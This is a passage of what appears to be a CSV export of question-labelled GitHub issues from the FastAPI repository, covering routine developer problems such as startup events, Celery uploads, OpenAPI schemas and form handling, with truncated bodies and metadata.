```


### Description

The reason code and text seem to be unavailable for the client. The only way to get them is to have websocket client written in python, import starlette's WebSocketDisconnect and catch the exception manually. 

When making calls from other clients, e.g. from Postman, the code and reason are just not available. It would be nice if the server returned cod... [TRUNCATED]","question,reviewed,question-migrate",2023-01-24T16:43:50Z,2023-02-24T16:30:32Z,1
tiangolo/fastapi,1555272555,TypeError: Starlette.on_event() missing 1 required positional argument: 'event_type',"### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from config.database import engine, SQLModel, create_db_and_tables

app = FastAPI

@app.on_event('startup')
async def on_startup():
    create_db_and_tables()
```


### Description

When executing the uvicorn main:app --reload command, it returns me in the shell error:

TypeError: Starlette.on_event() missing 1 required positional argument: 'event_type'

It seems to be a problem with starlette but I'm not sure

### Operating System

Linux

### Operating System Details

Ubuntu 22.04

### FastAPI Version

fastapi 0.89.1

### Python Version

3.10.6

### Additional Context

_No response_","question,question-migrate",2023-01-24T16:17:18Z,2023-02-27T19:07:50Z,3
tiangolo/fastapi,1554575914,"FastAPI/Uvicorn crashes every day around the same time, different APIs, different providers","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
app = FastAPI()


@app.get(""/"", response_class=HTMLResponse)
async def read_item(request: Request, pac_id: str = None, _oauth2_proxy: str = Cookie(default="""")):  
   pass
```


### Description

Three different FastAPI's are crashing every day around the same time (different times per API), running Dockerized on Kubernetes with Uvicorn.

It is not DDOS or anything, as the APIs are using Basic Auth and are behind an nginx proxy which handles authentication.

It is not DB dependent, as one uses MongoDB, one PostgreSQL, one no DB.

Providers are Hetzner, AWS and Advin (Frankfurt, Nürnberg, Amsterdam)

The docker conta... [TRUNCATED]","question,question-migrate",2023-01-24T09:02:34Z,2023-02-27T19:07:44Z,15
tiangolo/fastapi,1551905411,Unable to upload an image by a celery task in fastapi,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
##app.py
@app.post(""/upload3"")
async def upload(file: UploadFile = File(...),):
    
    result=tasks.create_image.delay(file)
    url=result.get()
    return {""message"":""ok""}

##tasks.py
@shared_task
async def create_image(file:_fastapi.UploadFile):
    
    urlFile = cloudinary.uploader.upload(file.file)
    url = urlFile.get(""url"")    

    return url
```


### Description

It throws an error as Object of type UploadFile is not JSON serializable


### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.85.0 

### Python Version

3.8.10

### Additional Context

_No response_","question,question-migrate",2023-01-21T20:32:35Z,2023-02-27T19:07:40Z,5
tiangolo/fastapi,1551808323,Relationship fails with ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class OccupyReasonBase(BaseModel):
    group_id: Optional[int] = None
    tenant_id: Optional[int] = None
    other: Optional[str] = None


class OccupyReasonCreate(OccupyReasonBase):
    pass


class OccupyReasonUpdate(BaseModel):
    group_id: Optional[int] = None
    tenant_id: Optional[int] = None
    other: Optional[str] = None


class OccupyReason(OccupyReasonBase):
    id: int

    class Config:
        orm_mode = True


class EventBase(BaseModel):
    start: int
    end: int
    repeat: str
    occupy_reason: OccupyReason
    hall_id: int
    title: Optional[str] = """"
    comment: Optional[str] ... [TRUNCATED]","question,question-migrate",2023-01-21T13:59:56Z,2023-02-24T16:30:29Z,3
tiangolo/fastapi,1551788717,Load testing - FastAPI much slower than Flask?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uuid import uuid4

import uvicorn
from fastapi import FastAPI
from time import sleep
import os
from loguru import logger

app = FastAPI()


@app.get(""/health"")
def health():
    return ""Ok""


@app.get(""/load"")
async def run_load_test():
    request_id = str(uuid4())
    logger.info(f""Starting request {request_id}"")
    sleep(2)
    logger.info(f""Finished request {request_id}"")
    return ""Ok""


if __name__ == ""__main__"":
    port = int(os.environ.get('PORT', 6000))
    uvicorn.run(""main:app"", host=""0.0.0.0"", port=port, log_level=""debug"")
```


### Description

First of all, huge fan, big thanks ... [TRUNCATED]","question,question-migrate",2023-01-21T12:34:16Z,2023-02-27T19:07:38Z,2
tiangolo/fastapi,1551310365,depends routers by True/False function,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from pydantic import BaseModel
from fastapi import FastAPI

app = FastAPI()

def permission(token):
    username = token['username']
    group = 'test'
    apirequest = ""calling api check if user exists in group""
    if apirequest:
        return True
    else:
        return False

@app.get(""/"")
def read_root():
    return {""Hello"": ""World""}
```


### Description

hello,
i have a function that check if user exists in AD-Group by getting the username from token.
if user exist in group the answer will be True else False.
i want to create a depends on routers that will running only if answer is - True

Can you help me please 
than... [TRUNCATED]","question,question-migrate",2023-01-20T18:59:43Z,2023-02-27T19:07:35Z,2
tiangolo/fastapi,1550514571,How to document default error models for all other status codes than those mentioned separately,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

I want something like the below, where I can set a response model for all the other http status codes
```python
@app.get(""/items/{item_id}"", responses={200: {""model"": mySuccessResponseModel}, Any: {""model"": myErrorResponseModel}})
async def read_item(item_id: str):

```


### Description

I want to set a single response model for all other status codes other than those mentioned separatly. The reason why I want is, so that my swagger doc will have the below format. 

      responses:
        '200':
          description: Success
          content:
            application/json:
              schema:
                $ref: '#/co... [TRUNCATED]","question,question-migrate",2023-01-20T09:03:45Z,2023-02-24T16:30:27Z,1
tiangolo/fastapi,1538396914,links created by url_for in Jinja2 template use HTTP instead of HTTPS,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
main.py

from fastapi import FastAPI, Request, Form
from fastapi.staticfiles import StaticFiles
from fastapi.templating import Jinja2Templates

from db import database
from helpers.middleware import get_user_notifications, set_custom_attr
from models.users import users
from routes import api_router
from sessions.core.base import redis_cache

app = FastAPI()

app.mount(""/static"", StaticFiles(directory=""static""), name=""static"")
templates = Jinja2Templates(directory=""templates"")

views.py

@router.get('/', response_class=HTMLResponse)
async def main_page(request: Request,
                    user: User = Depends(UserService.get_auth... [TRUNCATED]","question,question-migrate",2023-01-18T17:32:26Z,2023-02-24T16:30:24Z,4
tiangolo/fastapi,1537686051,docs: clarify partial update exclude_unset,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is the diff of the PR I propose

-That would generate a `dict` with only the data that was set when creating the `item` model, excluding default values.
+Normally, the `dict` generated from the model contains values that are both set explicitly from supplied values (when the model was created),
+as well as values that were *not* supplied, but have default values defined in the model.

-Then you can use this to generate a `dict` with only the data that was set (sent in the request), omitting default values:
+You can use the `exclude_unset` parameter to suppress generation of fields that were *not* explicitly set when cr... [TRUNCATED]","question,question-migrate",2023-01-18T09:39:31Z,2023-02-24T16:30:21Z,0
tiangolo/fastapi,1537260788,Type hints for `Security`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def valid_token(                                                                        
    scopes: SecurityScopes,                                                             
    access_token: str = Depends(access_token_scheme),                                   
) -> Token:
    ...
    return Token(...)

@router.patch(""/users/{username}"")                                                                                   
async def some_endpoint(                                                          
    data: Data,                                                     
    token = Security(valid_token, scopes=[""some-sc... [TRUNCATED]","feature,question,reviewed,question-migrate",2023-01-18T01:27:24Z,2023-02-24T16:30:20Z,0
tiangolo/fastapi,1536413375,"Why does ""int | None"" transforms into openapi non-nullable integer?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()


class Item(BaseModel):
    id: int | None


@app.post(""/items/"")
async def create_item() -> Item:
    return Item(id=1)
```


### Description

- Open the generated openapi.json spec
- Found that `id` field is ""required"" with type ""integer""
- Expects to found `id` field ""required"" with type ""integer"" and ""optional"" parameter

I know that you can add `nullable=True` to Field definition, but for me `int | None` looks monosemantic unlike `int | None = None` which can describe non-required openapi field with default value in python.

### Operating System

Other

... [TRUNCATED]","question,question-migrate",2023-01-17T13:50:16Z,2023-02-27T19:07:32Z,2
tiangolo/fastapi,1536173241,why my last_query option not work when i'm not give q(query parameter)?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import Cookie, Depends, FastAPI
import uvicorn

app = FastAPI()

def query_extractor(q: str = None):
    return q

def query_or_cookie_extractor(q: str=Depends(query_extractor), last_query: str=Cookie(default=None)):
    print(""Q: "", q)
    print(""last_query: "", last_query)

    if not q:
        return last_query
    return q

@app.get(""/items/"")
async def read_query(query: str = Depends(query_or_cookie_extractor)):
    return {
        ""query"": query
    }

if __name__ == ""__main__"":
    uvicorn.run(app, host=""0.0.0.0"", port=int(os.getenv(""9000"")))
```


### Description

In fast api documentation say if query par... [TRUNCATED]","question,question-migrate",2023-01-17T10:52:21Z,2023-02-24T16:30:17Z,3
tiangolo/fastapi,1535940572,Route dependency is running not in the same thread ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
def configure_database(user_arn: str | None = Header(default=None)):
    database = get_database(user_arn)

    with database.bind_ctx(_BaseModel.subclasses()):
        try:
            database.connect()
            print('deps', user_arn, threading.get_ident())
            yield database
        finally:
            if not database.is_closed():
                database.close()

@router.get('/db_username')
def get_db_username(user_arn: str | None = Header(default=None), db=Depends(configure_database)):
    print('api', user_arn, threading.get_ident())
    current_db_user = db.execute_sql('SELECT current_user;').fetchone()[0]
    retu... [TRUNCATED]","question,question-migrate",2023-01-17T08:03:27Z,2023-02-24T16:30:14Z,3
tiangolo/fastapi,1535086228,Best practice for initializing a longlived client at startup that requires context manager,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# This is how I would have done it if I did not require a context manager 
from fastapi import FastAPI

import aioboto3
from settings import get_settings

settings = get_settings()

# Create App
app = FastAPI()

# Init the boto client on start up
# Based on https://github.com/tiangolo/fastapi/issues/4035#issuecomment-941293227
@app.on_event(""startup"")
async def init_client() -> None:
    """"""
    Initialize the boto client 
    """"""
    boto_connection = AIOBoto3Client(<params>)
    app.dependency_overrides[AIOBoto3Client] = lambda: boto_connection

# Class to contain client 
class AIOBoto3Client:
    """"""Class responsible for ini... [TRUNCATED]","question,question-migrate",2023-01-16T15:06:21Z,2023-02-24T16:30:12Z,1
tiangolo/fastapi,1534439187,ReDoc - how to remove field name in brackets from parameter type?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class CustomerTracking(Entity):
    customer_ip_address: str = Field(example=""XXX.XXX.XXX.XXX"")
    customer_user_agent: str = Field(example=""Chrome"")
```


### Description

I need to remove field names in brackets from parameter types.
For example: my model has string field `customer_ip_address` and i want to see type `string` in the ReDoc documentation, not `string (Customer Ip Address)`
Is there any setting to do this?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10.6

### Additional Context

![image](https://user-images.githubusercontent.com/31480109/212621790-03... [TRUNCATED]","question,question-migrate",2023-01-16T07:33:47Z,2023-02-24T16:30:10Z,0
tiangolo/fastapi,1534413421,"Strange exception, saying that error in response model's types, but referencing request model","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# Request model
from typing import Optional
from pydantic import BaseModel


class EditProductRequestBody(BaseModel):
    marketId: int
    name: Optional[str]
    price: Optional[str]
    leftover: Optional[int]

    class Config:
        arbitrary_types_allowed = True
```


```python
# Endpoint, which throws the exception
@app.post(""/editProduct"")
async def edit_product(body: EditProductRequestBody) -> Response:
    ...
    return JSONResponse(content={""message"": ""success""})
```

```python
# Endpoint, which lays earlier, but don't throws the exception

@app.post(""/uploadImage"")
async def upload_image(ph... [TRUNCATED]","question,question-migrate",2023-01-16T07:09:47Z,2023-02-27T19:07:30Z,1
tiangolo/fastapi,1534192118,Request Body missing filed,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class NotificationGroupBase(BaseModel):
    id: Optional[int]
    name: str
    owner: str
    create_time: Optional[str]
    update_time: Optional[str]
    class Config:
        orm_mode = True
        schema_extra = {
            ""example"": {
                id: 1,
                ""name"": ""SRE_Notification_Group"",
                ""owner"": ""test@trendmicro.com"",
                ""create_time"": ""1234567890123"",
                ""update_time"": ""1234567890123""
            }
        }

# end class
@router.post(""/"")
async def add_notification_group(notification_group: NotificationGroupBase, trace: UUID = Header(...), db: Session = Depen... [TRUNCATED]","question,question-migrate",2023-01-16T03:03:10Z,2023-02-27T19:07:28Z,1
tiangolo/fastapi,1532982357,How to handle custom methods in endpoint routes such as /posts/{id}:like and /posts/{id}:unlike,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

from fastapi import FastAPI

app = FastAPI()

@app.patch(""/posts/{id}:like"")
def like_post(id: int):
    return {""id"": id, ""message"": ""This post was successfully liked!""}

@app.patch(""/posts/{id}:unlike"")
def unlike_post(id: int):
    return {""id"": id, ""message"": ""This post was successfully unliked!""}
```


### Description

What is the best way to define a custom method that falls outside of the standard HTTP verbs? For example liking or unliking a post on a social media website.

I tried the included code sample and I get an error: ""value is not a valid integer"" because I think it is trying to validate the {id... [TRUNCATED]","question,question-migrate",2023-01-13T22:15:44Z,2023-02-27T19:07:24Z,5
tiangolo/fastapi,1532069201,asyncio.wait_for doesn't time out as expected,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
d
```


### Description

d

### Operating System

macOS

### Operating System Details

d

### FastAPI Version

fastapi==0.89.1

### Python Version

3.9

### Additional Context

```
@app.middleware(""http"")
async def add_process_time_header(request: Request, call_next):
    start_time = time.time()
    response = await call_next(request)
    process_time = time.time() - start_time
    # response.headers[""X-Process-Time""] = str(process_time)
    print(""adfadsfasdf"")
    # response.headers[""Test middleware""] = str(random.randint(1, 1000))
    return response


REQUEST_TIMEOUT_ERROR = 1.0 # seconds to wait for
from fastapi.responses import JS... [TRUNCATED]","question,question-migrate",2023-01-13T10:24:02Z,2023-02-24T16:30:07Z,3
tiangolo/fastapi,1531305710,Posting an empty array in a Form errors with 422,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# python3 -m pip install fastapi pytest
# python3 -m pytest tests/post.py

from typing import Optional

from fastapi import Form, FastAPI, Query
from fastapi.testclient import TestClient

app = FastAPI()

@app.post(""/list"")
def read_query(q: list[Optional[str]] = Form()):
    return q

client = TestClient(app)

def test_full_list_valid():
    response = client.post(""/list"", data={""q"": [""hi"", ""there""]})
    assert response.status_code == 200
    assert response.json() == [""hi"", ""there""]

def test_empty_list_valid():
    response = client.post(""/list"", data={""q"": []})
    assert response.status_code == 200
    ... [TRUNCATED]","question,question-migrate",2023-01-12T20:18:21Z,2023-02-24T16:30:05Z,1
tiangolo/fastapi,1530253689,Bug - Missing String representation of the fastapi.HTTPException when initializing with parameter names,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi 
import pytest

# When creating the function with parameter names, the string representation does not work:
exc = fastapi.HTTPException(status_code=401, detail=""Authentication error: Authorization header is missing."")
print(f""String representation of the exception: '{exc}'"")

# When creating the function without parameter names, the string representation works:
exc = fastapi.HTTPException(401, ""Authentication error: Authorization header is missing."")
print(f""String representation of the exception without params: '{exc}'"")


# The missing string representation becomes a problem when using pytest to check for the raised
# ex... [TRUNCATED]","question,reviewed,question-migrate",2023-01-12T07:45:33Z,2023-02-24T16:30:03Z,0
tiangolo/fastapi,1529487253,Beginner - need help connecting to microsoft sql with already created tables,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
None to show yet
```


### Description

Hi, I don't have much code yet as I'm just getting started and am new to coding in general. I have created a dashboard using Dash. I need to take information (which I have already put into JSON format) and put it into tables I have already made using Microsoft SQL Server Management. My boss suggested I look into FastAPI. I have gone through the tutorial but am still just struggling to translate to my needs. Does anyone have any help they can offer or code they can share so I can see an example? Thanks so much!

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.89... [TRUNCATED]","question,question-migrate",2023-01-11T18:24:15Z,2023-02-27T19:07:21Z,2
tiangolo/fastapi,1528679770,Query parameter type is not instantiated using __new__,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime

import fastapi
import httpx
import pytest
from fastapi import FastAPI

app = FastAPI()


class CustomDate(datetime):
    def __new__(cls, *args, **kwargs):
        try:
            parsed = datetime.strptime(args[0], ""%Y-%m-%dT%H:%M:%S.%f%z"")
            return super().__new__(cls, parsed.year + 1, month=parsed.month,
                                   day=parsed.day)
        except TypeError:
            return super().__new__(cls, *args, **kwargs)


@app.get(""/"")
async def get(begin: CustomDate = fastapi.Query()):
    return {""data"": begin}


@pytest.fixture
def anyio_backend():
    return ""... [TRUNCATED]","question,question-migrate",2023-01-11T09:10:50Z,2023-02-24T16:30:01Z,2
tiangolo/fastapi,1527849563,Generic types aren't properly parsed via FastAPI APIRouter,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
